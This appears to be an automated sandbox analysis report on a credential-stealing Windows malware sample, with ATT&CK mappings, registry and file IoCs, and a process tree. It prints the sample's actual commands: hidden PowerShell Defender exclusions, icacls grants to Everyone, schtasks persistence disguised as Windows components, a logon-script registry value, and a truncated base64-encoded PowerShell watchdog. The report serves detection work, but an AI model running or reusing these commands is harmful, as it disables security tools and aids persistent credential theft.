21c71d11c71c7020864581a80de4318c2c95a6e36aac55441469b7db68c9a3f2

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe

Executes dropped EXE 2 IoCs

pid	Process
3604	SecurityHealthHostService.exe
5064	WinSYS32.exe

Loads dropped DLL 2 IoCs

pid	Process
5064	WinSYS32.exe
5064	WinSYS32.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4808	icacls.exe
832	icacls.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\system32\\WinSYS32.exe,C:\\Windows\\system32\\SecurityHealthHostService.exe"	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
19	ip-api.com

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\scratch\client_startup.log	SecurityHealthHostService.exe
File created	C:\Windows\system32\vcruntime_e591dd8.dll	WinSYS32.exe
File opened for modification	C:\Windows\system32\vcruntime_e591dd8.dll	WinSYS32.exe
File created	C:\Windows\system32\SecurityHealthHostService.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
File opened for modification	C:\Windows\system32\scratch\client_trace.log	SecurityHealthHostService.exe
File created	C:\Windows\system32\vcruntime_e590854.dll	WinSYS32.exe
File opened for modification	C:\Windows\system32\vcruntime_e590854.dll	WinSYS32.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\system32\WinSYS32.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
File opened for modification	C:\Windows\system32\WinSYS32.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
File opened for modification	C:\Windows\system32\SecurityHealthHostService.exe	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4796	cmd.exe
4844	cmd.exe
4220	cmd.exe
4504	cmd.exe
452	cmd.exe
4256	cmd.exe
2648	cmd.exe
2896	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SecurityHealthHostService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SecurityHealthHostService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WinSYS32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WinSYS32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WinSYS32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WinSYS32.exe

Modifies data under HKEY_USERS 47 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Environment\UserInitMprLogonScript = "C:\\Windows\\System32\\WinSYS32.exe,C:\\Windows\\System32\\SecurityHealthHostService.exe"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3804	schtasks.exe
1720	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3604	SecurityHealthHostService.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1900	powershell.exe
1900	powershell.exe
1360	powershell.exe
1360	powershell.exe
3996	powershell.exe
3996	powershell.exe
3212	powershell.exe
3212	powershell.exe
768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe
4808	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3604	SecurityHealthHostService.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeDebugPrivilege	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
Token: SeDebugPrivilege	4808	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3604	SecurityHealthHostService.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 768 wrote to memory of 2648	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	87
PID 2648 wrote to memory of 4808	2648	cmd.exe	89
PID 768 wrote to memory of 2896	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	90
PID 2896 wrote to memory of 832	2896	cmd.exe	92
PID 768 wrote to memory of 4796	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	93
PID 4796 wrote to memory of 1900	4796	cmd.exe	96
PID 768 wrote to memory of 4844	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	97
PID 4844 wrote to memory of 1360	4844	cmd.exe	99
PID 768 wrote to memory of 4220	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	102
PID 4220 wrote to memory of 3996	4220	cmd.exe	104
PID 768 wrote to memory of 4504	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	105
PID 4504 wrote to memory of 3212	4504	cmd.exe	107
PID 768 wrote to memory of 452	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	110
PID 452 wrote to memory of 1720	452	cmd.exe	113
PID 768 wrote to memory of 4256	768	2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe	114
PID 4256 wrote to memory of 3804	4256	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-29_361b988d9b5f67ff623d03f2f43101dc_akira_elex_glassworm.exe"
1⤵
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\Microsoft\Crypto\SystemKeys" /grant Everyone:F /T /Q
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Crypto\SystemKeys" /grant Everyone:F /T /Q
    3⤵
    - Modifies file permissions
    PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\Microsoft\Network\Downloader" /grant Everyone:F /T /Q
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Network\Downloader" /grant Everyone:F /T /Q
    3⤵
    - Modifies file permissions
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\system32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Crypto\SystemKeys'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Crypto\SystemKeys'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Network\Downloader'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Network\Downloader'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Microsoft Windows Update Core" /tr "C:\Windows\system32\WinSYS32.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:452
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Microsoft Windows Update Core" /tr "C:\Windows\system32\WinSYS32.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Windows Compatibility Appraiser Host" /tr "C:\Windows\system32\SecurityHealthHostService.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows Compatibility Appraiser Host" /tr "C:\Windows\system32\SecurityHealthHostService.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3804

C:\Windows\system32\WinSYS32.exe
C:\Windows\system32\WinSYS32.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
PID:5064

C:\Windows\system32\SecurityHealthHostService.exe
C:\Windows\system32\SecurityHealthHostService.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3604

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAHQAPQBAACgAJwBUAGEAcwBrAG0AZwByACcALAAnAFAAcgBvAGMAZQBzAHMASABhAGMAawBlAHIAJwAsACcAcABlAHIAZgBtAG8AbgAnACwAJwBwAHIAbwBjAGUAeABwACcALAAnAHAAcgBvAGMAZQB4AHAANgA0ACcALAAnAHAAcgBvAGMAbQBvAG4AJwAsACcAcAByAG8AYwBtAG8AbgA2ADQAJwApADsAJABwAG4APQBAACgAJwBXAGkAbgBTAFkAUwAzADIAJwAsACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAnACkAOwAkAHAAcAByAD0AQAAoACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlACcALAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApADsAJABwAHAAPQBAACgAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUAJwAsACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAOwAkAHQAdAA9AEAAKAAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAVwBpAG4AZABvAHcAcwAgAFUAcABkAGEAdABlACAAQwBvAHIAZQAnACwAJwBXAGkAbgBkAG8AdwBzACAAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAEEAcABwAHIAYQBpAHMAZQByACAASABvAHMAdAAnACkAOwBpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACkAKQB7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBkAGEAdAAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABOAGUAdAB3AG8AcgBrAFwARABvAHcAbgBsAG8AYQBkAGUAcgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZABhAHQAJwAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQB9AGUAbABzAGUAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQwByAHkAcAB0AG8AXABTAHkAcwB0AGUAbQBLAGUAeQBzAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBlAG4AYwAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAuAGUAbgBjACcAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAfQA7AGEAdAB0AHIAaQBiACAAKwBzACAAKwBoACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBkAGEAdAAnACkAIAAtAGEAbgBkACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlACcAKQApAHsAQwBvAHAAeQAtAEkAdABlAG0AIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBkAGEAdAAnACAALQBGAG8AcgBjAGUAOwBhAHQAdAByAGkAYgAgACsAcwAgACsAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABOAGUAdAB3AG8AcgBrAFwARABvAHcAbgBsAG8AYQBkAGUAcgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZABhAHQAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZQBuAGMAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACkAKQB7AEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUAJwAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAuAGUAbgBjACcAIAAtAEYAbwByAGMAZQA7AGEAdAB0AHIAaQBiACAAKwBzACAAKwBoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZQBuAGMAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAKQApAHsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATgBlAHQAdwBvAHIAawBcAEQAbwB3AG4AbABvAGEAZABlAHIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBkAGEAdAAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABOAGUAdAB3AG8AcgBrAFwARABvAHcAbgBsAG8AYQBkAGU